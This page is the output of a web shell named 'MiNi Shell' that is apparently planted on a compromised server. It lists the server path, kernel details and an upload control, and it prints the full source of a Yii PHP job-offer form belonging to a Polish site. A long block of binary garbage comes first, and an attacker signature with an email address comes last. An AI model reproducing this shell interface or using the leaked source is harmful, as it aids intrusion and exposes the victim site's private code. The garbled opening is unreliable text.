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.^a?>~!k''T[ע93fHlNDH;;sg-@, JOs~Ss^H '"#t=^@'W~Ap'oTڭ{Fن̴1#'c>꜡?F颅B L,2~ת-s2`aHQm:F^j&~*Nūv+{sk$F~ؒ'#kNsٗ D9PqhhkctԷFIo4M=SgIu`F=#}Zi'cu!}+CZI7NuŤIe1XT xC۷hcc7 l?ziY䠩7:E>k0Vxypm?kKNGCΒœap{=i1<6=IOV#WY=SXCޢfxl4[Qe1 hX+^I< tzǟ;jA%n=q@j'JT|na$~BU9؂dzu)m%glwnXL`޹W`AH̸뢙gEu[,'%1pf?tJ Ζmc[\ZyJvn$Hl'<+5[b]v efsЁ ^. &2 yO/8+$ x+zs˧Cޘ'^e fA+ڭsOnĜz,FU%HU&h fGRN擥{N$k}92k`Gn8<ʮsdH01>b{ {+ [k_F@KpkqV~sdy%ϦwK`D!N}N#)x9nw@7y4*\ Η$sR\xts30`O<0m~%U˓5_m ôªs::kB֫.tpv쌷\R)3Vq>ٝj'r-(du @9s5`;iaqoErY${i .Z(Џs^!yCϾ˓JoKbQU{௫e.-r|XWլYkZe0AGluIɦvd7 q -jEfۭt4q +]td_+%A"zM2xlqnVdfU^QaDI?+Vi\ϙLG9r>Y {eHUqp )=sYkt,s1!r,l鄛u#I$-֐2A=A\J]&gXƛ<ns_Q(8˗#)4qY~$'3"'UYcIv s.KO!{, ($LI rDuL_߰ Ci't{2L;\ߵ7@HK.Z)4
Devil Killer Is Here MiNi Shell

MiNi SheLL

Current Path : /home/vmanager/www/frontend/views/ofertypracy/

Linux 9dbcd5f6333d 5.15.0-102-generic #112-Ubuntu SMP Tue Mar 5 16:50:32 UTC 2024 x86_64
Upload File :
Current File : /home/vmanager/www/frontend/views/ofertypracy/create.php

<?php

use yii\helpers\Html;
use yii\helpers\Url;
use yii\helpers\ArrayHelper;
use yii\bootstrap\ActiveForm;
use yii\captcha\Captcha;
use common\models\Regions;
use frontend\assets\SelectAsset;

SelectAsset::register($this);

/* @var $this yii\web\View */
/* @var $modelForm frontend\models\JobOfferForm */
/* @var $userCompaniesData array */
/* @var $breadcrumbs array */
/* @var $categories array */
/* @var $categoriesOnPortal array */
/* @var $warningMessage string */

$modelUser = Yii::$app->user->getIdentity();

foreach($breadcrumbs as $breadcrumb) {
    $this->params['breadcrumbs'][] = $breadcrumb;
}

$this->registerJs(
    '
    
    var clearContactDataFields = function() {
        var fields = ["id_region", "locality", "email", "phone"];
        
        $.each(fields, function(key, value) {
            $("#joboffer-form input[name=\"JobOfferForm["+value+"]\"]").val("");
        });
        
        $("#addresses-list").hide();
        $("#addresses-list ul li").hide();
    }
    
    $("#joboffer-form .populate-form").on("click", function() {
        var data = $(this).data();
        
        clearContactDataFields();
        
        $.each(data, function(key, value) {
            var fieldName = null;
            
            if(key.substring(0, 5) === "field") {
                fieldName = key.substring(5);
                fieldName = fieldName.charAt(0).toLowerCase() + fieldName.slice(1);
                
                if(fieldName == "id_region" || fieldName == "id_country") {
                    var input = $("#joboffer-form select[name=\"JobOfferForm["+fieldName+"]\"]");
                    if(input) {
                        input.val(value).trigger("change");
                    }                    
                } else {
                    var input = $("#joboffer-form input[name=\"JobOfferForm["+fieldName+"]\"]");
                    if(input) {
                        input.val(value);
                    }
                }
            }
        });
        
        var idCompany = $("#joboffer-form input[name=\"JobOfferForm[id_company]\"]:checked").val();
        if(idCompany) {
            var addresses = $("#addresses-list li[data-owner=\"c"+idCompany+"\"]");
            if(addresses.length > 1) {
                addresses.show();
                $("#addresses-list").show();
            }
        }
    });
    
    $("#addresses-list ul li").on("click", function(){
        $(this).find("span[data-field]").each(function(index) {
            var fieldName = $(this).data("field");
            if(fieldName) {
                if(fieldName == "id_region") {
                    var input = $("#joboffer-form select[name=\"JobOfferForm["+fieldName+"]\"]");
                    if(input) {
                        input.val($(this).html()).trigger("change");
                    }                    
                } else {
                    var input = $("#joboffer-form input[name=\"JobOfferForm["+fieldName+"]\"]");
                    if(input) {
                        input.val($(this).html());
                    }
                }
            }
        });        
    });
    
    '
);

$regionsList = ArrayHelper::map(Regions::find()->where(['id_country' => 'PL'])->orderBy('name')->asArray()->all(), 'id_region', 'name'); 

if(!empty($modelForm) && empty($modelForm->listCategories)) {
    $modelForm->listCategories = [];
}

?>



<div class="container">
    <div class="row tab-row">
        <div class="col-md-9 pt08 tab-cell"> 
            <h2 class="header portal-color portal-light-background">
                <span class="portal-border"><?= Yii::t('frontend', 'Nowa oferta pracy') ?></span>
            </h2>  

            <?php if(Yii::$app->session->hasFlash('error')): ?>
                <div class="alert alert-danger text-left col-md-8 col-md-push-2" role="alert">
                    <?= Yii::$app->session->getFlash('error')[0]; ?>
                </div>
                <div class="clearfix"></div>
            <?php endif; ?>
            <?php if(Yii::$app->session->hasFlash('confirm')): ?>
                <div class="alert alert-info text-left col-md-8 col-md-push-2" role="alert">
                    <?= Yii::$app->session->getFlash('confirm')[0]; ?>
                </div>
                <div class="clearfix"></div>
            <?php elseif(!empty($warningMessage)): ?>
                <div class="alert alert-warning text-left col-md-8 col-md-push-2" role="alert">
                    <?= $warningMessage ?>
                </div>
                <div class="clearfix"></div>
            <?php else: ?>              

            <?php $form = ActiveForm::begin([
                'id' => 'joboffer-form',
                'method' => 'post',
                'enableAjaxValidation' => false,
                'enableClientValidation' => true,
                'validateOnSubmit' => true,
                'validateOnChange' => false,
                'validateOnType' => false,
                'options' => [
//                    'enctype' => 'multipart/form-data',
                    'class' => 'col-xs-12 form-horizontal'
                ],
            ]); ?>
            
                <div class="text-center strong portal-color mt1 mb1">Tutaj wpisz treść swojego ogłoszenia.</div>
                
                <?= $form->field($modelForm, 'title', [
                    'template' => "{beginLabel}{labelTitle}:{endLabel}\n<div class=\"col-sm-7\">{input}\n{error}</div>{hint}\n",
                    'options' => ['class' => 'form-group row'], 
                    'labelOptions' => ['class' => 'col-sm-3 control-label required'],
                ])->textInput(['maxlength' => true]) ?>            
                
                <?= $form->field($modelForm, 'content', [
                    'template' => "{label}\n<div class=\"col-sm-12\">{input}\n{error}</div>{hint}\n",
                    'options' => ['class' => 'form-group row'], 
                    'inputOptions' => ['class' => 'form-control noresize'],
                ])->textarea(['rows' => 10])->label(false) ?> 
                
                <div class="clearfix">&nbsp;</div>
                <div class="text-center strong portal-color mb1">Zapytanie składa</div>
                
                <?= $form->field($modelForm, 'id_company', ['enableClientValidation' => false, 'enableAjaxValidation' => true, 
                    'template' => "<div class=\"col-sm-10 col-sm-push-1\">{input}</div>\n{hint}\n{error}",
                    'options' => ['class' => 'form-group row'],
                    'inputOptions' => ['class' => 'col-sm-10 col-sm-push-1']
                ])->radioList(
                    ArrayHelper::map($userCompaniesData, 'id_company', 'name'),
                    [
                        'item' => function ($index, $label, $name, $checked, $value) use($userCompaniesData) {
                            $company = !empty($userCompaniesData[intval($value)]) ? $userCompaniesData[intval($value)] : null;
                            $output = '<div>';                                
                            $output .= '<input type="radio" name="'.$name.'" value="'.$value.'" id="radio_company_name_'.intval($value).'"'.($checked ? ' checked' : '').' class="radio populate-form" '
                                        . 'data-field-id_company="'.$value.'" ';
                            if(!empty($company)) {
                                $label = $company['company_name'];
                                $output .= 'data-field-email="'.$company['email'].'" '
                                        . 'data-field-phone="'.$company['phone'].'" '
                                        . 'data-field-locality="'.$company['locality'].'" '
                                        . 'data-field-id_region="'.$company['id_region'].'" '
                                        ;
                            }
                            $output .= '><label for="radio_company_name_'.intval($value).'"></label>';
                            $output .= ' '.$label;
                            $output .= '</div>';

                            return $output;
                        }
                    ]
                ) ?> 
                
                <?= $form->field($modelForm, 'email', [
                    'template' => "{beginLabel}{labelTitle}:{endLabel}\n<div class=\"col-sm-7\">{input}\n{error}</div>{hint}\n",
                    'options' => ['class' => 'form-group row'], 
                    'labelOptions' => ['class' => 'col-sm-3 control-label required'],
                ])->textInput(['maxlength' => true]) ?>
                
                <?= $form->field($modelForm, 'phone', [
                    'template' => "{beginLabel}{labelTitle}:{endLabel}\n<div class=\"col-sm-7\">{input}\n{error}</div>{hint}\n",
                    'options' => ['class' => 'form-group row'], 
                    'labelOptions' => ['class' => 'col-sm-3 control-label'],
                ])->textInput(['maxlength' => true]) ?> 
                
                <div class="form-group row">
                    <label for="jobform-locality" class="col-sm-3 control-label required"><?= $modelForm->getAttributeLabel('id_region') ?>, <?= $modelForm->getAttributeLabel('locality') ?>:</label>
                    <?= $form->field($modelForm, 'id_region', ['enableClientValidation' => false, 'enableAjaxValidation' => true, 
                        'options' => ['class' => 'col-sm-3'],
                        'enableLabel' => false
                    ])->dropDownList($regionsList, ['class' => 'form-control selectpicker', 'data' => ['live-search' => true], 'title' => Yii::t('frontend', 'Wybierz...')]) ?>
                    <?= $form->field($modelForm, 'locality', [
                        'options' => ['class' => 'col-sm-4'],
                        'enableLabel' => false
                    ])->textInput(['maxlength' => true, 'placeholder' => 'Warszawa']) ?>
                </div>
                
                <?php 
                    $relatedAddressesCount = 0;
                    if(!empty($modelForm->id_company) && !empty($userCompaniesData[$modelForm->id_company]['addresses'])) {
                        $relatedAddressesCount = count($userCompaniesData[$modelForm->id_company]['addresses']);
                    } 
                ?>
                <div id="addresses-list"<?php if($relatedAddressesCount < 2): ?> style="display: none;"<?php endif; ?> class="form-group row">
                    <label for="" class="col-sm-3 control-label">Zapisane adresy:</label>
                    <div class="col-sm-1">
                        <div class="btn-group dropup">
                            <button type="button" class="btn btn-primary dropdown-toggle" data-toggle="dropdown" aria-haspopup="true" aria-expanded="false">
                            Wybierz &nbsp; <span class="caret"></span>
                            </button>  
                            <ul class="dropdown-menu">                                        
                                <?php if(!empty($userCompaniesData)): ?>  
                                    <?php foreach($userCompaniesData as $idCompany => $userCompanyData): ?>
                                        <?php if(count($userCompanyData['addresses']) > 1): ?>
                                            <?php foreach($userCompanyData['addresses'] as $address): ?>
                                                <li data-owner="c<?= $idCompany ?>"<?php if(empty($modelForm->or_company) || $idCompany !== $modelForm->id_company): ?> style="display: none;"<?php endif; ?>>
                                                    <a style="cursor: pointer;"> 
                                                        <span><?= $address['region_name'] ?></span>, <span data-field="locality"><?= $address['locality'] ?></span><br>
                                                    </a>
                                                </li>
                                            <?php endforeach; ?>
                                        <?php endif; ?>
                                    <?php endforeach; ?>
                                <?php endif; ?>
                            </ul>
                        </div>
                    </div>
                </div>
                
                <div class="clearfix">&nbsp;</div>
                <div class="text-center strong portal-color mb1">Kategorie</div>
<?php /* */ ?>
                <?= $form->field($modelForm, 'listCategories', ['enableClientValidation' => false, 'enableAjaxValidation' => true, 'options' => ['class' => 'form-group row']])->begin(); ?>
                    <div id="jobofferform-listcategories">
                        <?php if(!empty($categories)): ?>
                            <div class="col-sm-6">            
                            <?php $counter = 0; $splitPoint = round(count($categories)/2); ?>
                            <?php foreach($categories as $idCategory => $categoryName): ?>
                                <?php if($counter >= $splitPoint): $counter = 0; ?>
                                    </div>
                                    <div class="col-sm-6">  
                                <?php endif; ?>
                                <?php $counter++; ?>
                                <div class="checkbox">
                                    <label>
                                        <?= Html::checkbox('JobOfferForm[listCategories][]', in_array($idCategory, $modelForm->listCategories) ? true : false, ['value' => $idCategory]) ?>
                                        <?php if(in_array($idCategory, array_keys($categoriesOnPortal))):?><strong><?= $categoryName ?></strong><?php else: ?><?= $categoryName ?><?php endif; ?>
                                    </label>
                                </div>
                            <?php endforeach; ?>
                            </div>
                        <?php endif; ?>
                    </div>
                    <div class="clearfix">&nbsp;</div>
                    <?= Html::error($modelForm, 'listCategories', ['tag' => 'p', 'class' => 'help-block help-block-error']); ?>
                <?= $form->field($modelForm, 'listCategories')->end(); ?> 
 <?php  /* */ ?>
                
                <?php //echo $form->field($modelForm, 'listCategories', ['enableClientValidation' => false, 'enableAjaxValidation' => true])->checkboxList($categories) ?>
                
                <div class="clearfix">&nbsp;</div>
                <div class="text-center strong portal-color mb1">Weryfikacja</div>

                <?= $form->field($modelForm, 'captcha', ['enableClientValidation' => true, 'enableAjaxValidation' => false, 
                    'template' => "{beginLabel}{labelTitle}:{endLabel}\n<div class=\"col-sm-7\">{input}\n{error}</div>\n{hint}",
                    'options' => ['class' => 'form-group row'], 
                    'labelOptions' => ['class' => 'col-sm-3 control-label required'],
                ])->widget(Captcha::className(), [
                    'captchaAction' => 'ofertypracy/captcha',
                    'template' => '<div class="row"><div class="col-sm-4 captcha-img-container">{image}<div class="captcha-img-refresh"></div></div><div class="col-sm-8">{input}</div></div>'
                ]); ?>

                <?= $form->field($modelForm, 'accept_rules', ['options' => ['class' => 'form-group row']])->begin(); ?>
                    <label for="" class="col-sm-3 control-label"></label>
                    <div class="col-sm-7" style="margin-top: 6px;">
                        <?= Html::checkbox('JobOfferForm[accept_rules]', $modelForm->accept_rules ? true : false, ['id' => 'jobofferform-accept_rules', 'class' => 'check']) ?>
                        <label for="jobofferform-accept_rules"></label>
                        Opublikowanie ogłoszenia oznacza akceptację <a href="#"><strong>regulaminu</strong></a>.
                        <?= Html::error($modelForm, 'accept_rules', ['tag' => 'p', 'class' => 'help-block help-block-error']); ?>
                    </div>
                <?= $form->field($modelForm, 'accept_rules')->end(); ?>

                <div class="form-group row">
                    <div class="col-sm-6 col-sm-push-3">
                        <button class="form-control btn btn-default btn-add noradius">
                            <span class="pull-left"></span>
                            <span class="text-left"><strong>Dodaj ofertę pracy</strong><br>i poczekaj na akceptację</span>
                        </button>                      
                    </div>
                </div>

            <?php ActiveForm::end(); ?>
                    
            <?php endif; ?>

            <div class="clearfix"></div>
        </div>
        <div class="col-md-3 pt08 tab-right text-center">
            <?= $this->render('//shared/_right_sidebar', ['bannerClass' => 'inline mb05']); ?>
        </div>          
        
    </div>
</div>


Creat By MiNi SheLL
Email: jattceo@gmail.com